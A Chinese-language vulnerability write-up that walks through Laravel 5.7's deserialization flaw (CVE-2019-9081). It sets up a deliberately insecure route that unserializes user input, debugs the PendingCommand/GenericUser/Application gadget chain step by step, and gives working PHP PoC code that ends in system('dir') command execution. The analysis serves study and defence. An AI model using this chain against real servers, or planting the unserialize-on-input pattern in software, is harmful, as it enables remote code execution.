Laravel5.7反序列化分析CVE-2019-9081
环境搭建
composer安装
composer create-project laravel/laravel laravel57 "5.7.*"
然后进入根目录
php artisan serve --host 0.0.0.0
需要xdebug调试 然后先配置xdebug 我用的phpstudy 配置了半天 原本想写怎么配置的 然后莫名其妙就好了 也不知道是哪里的问题 首先需要创建一个反序列化入口
在routes/web.php里面加一条路由
Route::get('/unserialize',"UnserializeController@uns");
然后在App\Http\Controllers创建一个UnserializeController.php
<?php
namespace App\Http\Controllers;
class UnserializeController extends Controller
{
public function uns(){
if(isset($_GET['c'])){
unserialize($_GET['c']);
}else{
highlight_file(__FILE__);
}
return "uns";
}
}
漏洞分析
laravel5.7多了PendingCommand.php这个文件
主要用于命令执行 查看这个类 发现有个 __destruct()方法 跟进run 执行命令
这里的command和parameters可控 可以先写个poc测一下
<?php
namespace Illuminate\Foundation\Testing{
class PendingCommand
{
protected $command;
protected $parameters;
public $test;
public function __construct(){
$this->command="system";
$this->parameters[]="dir";
}
}
}
namespace{
use Illuminate\Foundation\Testing\PendingCommand;
echo urlencode(serialize(new PendingCommand()));
}
mockConsoleOutput报错
createABufferedOutputMock()报错
这里的test为null 所以会报错 “Trying to get property ‘expectedOutput’ of non-object” 遍历test的expectedOutput属性,但是test并没有这个属性,所以需要想办法让test拥有expectedOutput属性 跟进expectedOutput 是在InteractsWithConsole里边trait类型无法实例化
这里借用__get()魔术方法
1、__get、__set
获得一个类的成员变量时调用
这两个方法是为在类和他们的父类中没有声明的属性而设计的
__get( $property ) 当调用一个未定义的属性时访问此方法
__set( $property, $value ) 给一个未定义的属性赋值时调用
这里的没有声明包括访问控制为proteced,private的属性(即没有权限访问的属性)
找到了Illuminate\Auth\GenericUser类中的get()方法 attributes可控 可以设置一个键名为expectedOutput的数组 然后mockConsoleOutput这里边也有个类似的
也是调用test的expectedQuestions但是expectedQuestions并不存在 也用刚刚的get()方法 所以构造的时候attributes设置为一个expectedOutput的数组一个expectedQuestions的数组 写poc
<?php
namespace Illuminate\Foundation\Testing{
use Illuminate\Auth\GenericUser;
class PendingCommand
{
protected $command;
protected $parameters;
public $test;
public function __construct(){
$this->command="system";
$this->parameters[]="dir";
$this->test=new GenericUser();
}
}
}
namespace Illuminate\Auth{
class GenericUser{
protected $attributes;
public function __construct(){
$this->attributes['expectedOutput']=['hello','world'];
$this->attributes['expectedQuestions']=['hello','world'];
}
}
}
namespace{
use Illuminate\Foundation\Testing\PendingCommand;
echo urlencode(serialize(new PendingCommand()));
}
报错
Call to a member function bind() on null 说是$this->app为null 根据注释将app设置为Illuminate\Foundation\Application的实例 poc
<?php
namespace Illuminate\Foundation\Testing{
use Illuminate\Auth\GenericUser;
use Illuminate\Foundation\Application;
class PendingCommand
{
protected $command;
protected $parameters;
public $test;
protected $app;
public function __construct(){
$this->command="system";
$this->parameters[]="dir";
$this->test=new GenericUser();
$this->app=new Application();
}
}
}
namespace Illuminate\Auth{
class GenericUser{
protected $attributes;
public function __construct(){
$this->attributes['expectedOutput']=['hello','world'];
$this->attributes['expectedQuestions']=['hello','world'];
}
}
}
namespace Illuminate\Foundation{
class Application{
}
}
namespace{
use Illuminate\Foundation\Testing\PendingCommand;
echo urlencode(serialize(new PendingCommand()));
}
还是报错
$exitCode = $this->app[Kernel::class]->call($this->command, $this->parameters);。
这一句出错 Kernel::class是完全限定名称,返回的是一个类的完整的带上命名空间的类名,在laravel这里是Illuminate\Contracts\Console\Kernel。 跟进一下 Kernel::class值固定 先不用管 继续跟进
这里的this是Application所以make是调用的Application中的make
继续跟进
$this->aliases[$abstract]不存在 所以返回
继续
这个make会返回到container中的make
然后进入resolve 此时的$this仍然是Application实例
protected function resolve($abstract, $parameters = [])
{
$abstract = $this->getAlias($abstract);
$needsContextualBuild = ! empty($parameters) ! is_null(
$this->getContextualConcrete($abstract)
);
// If an instance of the type is currently being managed as a singleton we'll
// just return an existing instance instead of instantiating new instances
// so the developer can keep using the same objects instance every time.
if (isset($this->instances[$abstract]) && ! $needsContextualBuild) {
return $this->instances[$abstract];
}
$this->with[] = $parameters;
$concrete = $this->getConcrete($abstract);
// We're ready to instantiate an instance of the concrete type registered for
// the binding. This will instantiate the types, as well as resolve any of
// its "nested" dependencies recursively until all have gotten resolved.
if ($this->isBuildable($concrete, $abstract)) {
$object = $this->build($concrete);
} else {
$object = $this->make($concrete);
}
// If we defined any extenders for this type, we'll need to spin through them
// and apply them to the object being built. This allows for the extension
// of services, such as changing configuration or decorating the object.
foreach ($this->getExtenders($abstract) as $extender) {
$object = $extender($object, $this);
}
// If the requested type is registered as a singleton we'll want to cache off
// the instances in "memory" so we can return it later without creating an
// entirely new instance of an object on each subsequent request for it.
if ($this->isShared($abstract) && ! $needsContextualBuild) {
$this->instances[$abstract] = $object;
}
$this->fireResolvingCallbacks($abstract, $object);
// Before returning, we will also set the resolved flag to "true" and pop off
// the parameter overrides for this build. After those two things are done
// we will be ready to return back the fully constructed class instance.
$this->resolved[$abstract] = true;
array_pop($this->with);
return $object;
}
这些只要能正常运行下来就没事 在getConcrete这里出现了问题 跟进
这里的$this->bindings是我们可以控制的 因为$this是Application实例而Application继承了Container 所以这里的bindings其实就是 Application的bindings是我们可以控制的 这样我们就可以控制getConcrete的返回值了 这里看它俩是否相等或者是不是Closure的子类
如果相等则进入build不相等则进入else分支进入make然后再重新走一遍这个流程
如果我们在刚刚的getConcrete中控制$this->bindings并且让**$this->bindings[$abstract][‘concrete’]**的值为Application 那么返回值就是Application类 那么$concrete就是Application $abstract是kernel 然后因为不相等就会走下边的else分支进入make方法 并且参数为Application
然后又会回到resolve方法这里并且$abstract==Application 然后又进入getConcrete方法 然后继续取我们设置的$this->bindings[$abstract][‘concrete’] 的值作为返回值即返回值为Application 则$concrete为Application 然后在isBuildable的时候$concrete==$abstract 然后进入build通过ReflectionClass实例化Application 为什么要实例化Application呢 因为刚开始那里的命令执行是调用了call方法 而这个方法其实是container中的call方法 而Application继承了container所以call其实就是调用Application->call 测试poc 将Application中的$this->bindings[$abstract][‘concrete’] 的值修改为Application
<?php
namespace Illuminate\Foundation\Testing{
use Illuminate\Auth\GenericUser;
use Illuminate\Foundation\Application;
class PendingCommand
{
protected $command;
protected $parameters;
public $test;
protected $app;
public function __construct(){
$this->command="system";
$this->parameters[]="dir";
$this->test=new GenericUser();
$this->app=new Application();
}
}
}
namespace Illuminate\Foundation{
class Application{
protected $bindings = [];
public function __construct(){
$this->bindings=array(
'Illuminate\Contracts\Console\Kernel'=>array(
'concrete'=>'Illuminate\Foundation\Application'
)
);
}
}
}
namespace Illuminate\Auth{
class GenericUser
{
protected $attributes;
public function __construct(){
$this->attributes['expectedOutput']=['hello','world'];
$this->attributes['expectedQuestions']=['hello','world'];
}
}
}
namespace{
use Illuminate\Foundation\Testing\PendingCommand;
echo urlencode(serialize(new PendingCommand()));
}
$this->bindings[$abstract][‘concrete’]已经修改为Illuminate\Foundation\Application
isbuiled中这两个属性不等 所以返回flase
进入到make里边
再执行一遍
两个属性相等为Illuminate\Foundation\Application 然后开始实例化Illuminate\Foundation\Application
最后resolve返回的是Illuminate\Foundation\Application实例 为了可以更好的观察 添加了一行代码 $test=$this->app[Kernel::class];
可以看到test就是Illuminate\Foundation\Application实例
然后调用了call方法 跟进看一下
然后调用getMethodDependencies返回是call_user_func_arry的参数
array_merge函数合并数组 得到的就是dir的数组形式
然后就执行命令了